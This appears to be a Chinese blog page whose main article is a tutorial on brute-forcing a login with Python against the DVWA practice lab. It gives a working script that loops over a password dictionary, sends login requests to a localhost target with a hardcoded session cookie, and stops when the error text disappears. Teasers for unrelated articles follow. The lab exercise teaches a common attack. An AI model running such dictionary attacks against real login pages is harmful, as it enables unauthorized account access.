news 2026/3/8 7:51:44

python实现密码暴力破解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
python实现密码暴力破解

实战:DVWA靶场

靶场设置:low级别

判断是否登录成功:看返回的http请求里面是否有

Username and/or password incorrect.

我们这里假设知道用户名是admin不知道密码,要去破解密码

思路:

(1)从字典读取值,生成密码

pwds = open("password.txt") for pwd in pwds: print(pwd) pwds.close()

(2)http连接到需要爆破的地址

按F12查看标头,把你的PHPSEEEIONID复制到代码修改就可以

代码:

import requests # 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题 pwds = open("F:\\password.txt") for pwd in pwds: url = "http://localhost/dvwa/vulnerabilities/brute/" # PHPSESSID务必替换为登录以后的PHPSESSID resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=13hjf2259tmmq16ukv2kdc59g6"}) #print(resp.text) if 'Username and/or password incorrect.' in resp.text: print('破解失败:'+pwd, end='') else: print('破解成功:'+pwd, end='') break; pwds.close()

(3)获得http响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”

(4)如果有提示就继续下一次循环

(5)如果没有就代表爆破成功

破解成功

登录:用户名:admin,密码password

登录成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/5 14:25:32

数据可视化中色彩运用的核心指南

这是数据可视化系列的第三篇文章。参见第一部分:“数据可视化解读:它是什么以及为何重要”和第二部分:“数据可视化解读:视觉变量简介”。 在下图中,您看到了多少种颜色? 大多数人看到了四种:白…

作者头像 李华
网站建设 2026/3/6 15:25:04

通过“回馈行动“支持美国退伍军人掌握数据技术

通过"回馈行动"支持美国退伍军人英雄 "回馈行动"于2021年9月启动,旨在向所有美国退伍军人及现役军人提供某中心的技术培训机会,以帮助他们增长和拓展技术技能组合。此举是某中心对所有军事人员表示感谢的一种方式,为他们…

作者头像 李华
网站建设 2026/3/6 10:44:11

智能网页工作便签备忘录HTML源码

简介:智能网页工作便签备忘录HTML源码功能说明 便笺显示:默认设置便签按创建日期倒序显示(最新的便签在最前面) 主题选择:支持消息通知(toast通知) 红色主题 – 激情、活力,适合需要…

作者头像 李华
网站建设 2026/3/6 3:51:48

Deep Learning for Person Re-identification:A Survey and Outlook阅读笔记

Deep Learning for Person Re-identification:A Survey and Outlook 深度学习用于行人重识别:综述与展望 参考阅读:TPAMI2021深度学习行人重识别综述与展望 笔记 Re-ID技术的五大步骤 1)数据采集,一般来源于监控摄像机的原始…

作者头像 李华
网站建设 2026/3/5 2:50:47

国内口碑好的牦牛绒混纺纱线供应商推荐,含 90%羊毛+10%

国内口碑好的 90%羊毛10%牦牛绒混纺纱线供应商探秘在纺织行业中,牦牛绒混纺纱线凭借其独特的性能和价值,正逐渐成为市场的新宠。尤其是 90%羊毛 10%牦牛绒的混纺纱线,既融合了羊毛的坚韧与牦牛绒的柔软保暖,又具备良好的性价比&a…

作者头像 李华
网站建设 2026/3/7 0:53:58

测试左移与右移的实施方法

测试左移(Shift-Left Testing)概述 测试左移(Shift-Left Testing)是一种将测试活动提前到软件开发生命周期(SDLC)早期阶段的实践,强调在需求分析、设计、开发等阶段就介入测试,而非等到开发完成后再进行测试。其核心目标是提前发现缺陷、减少修复成本、…

作者头像 李华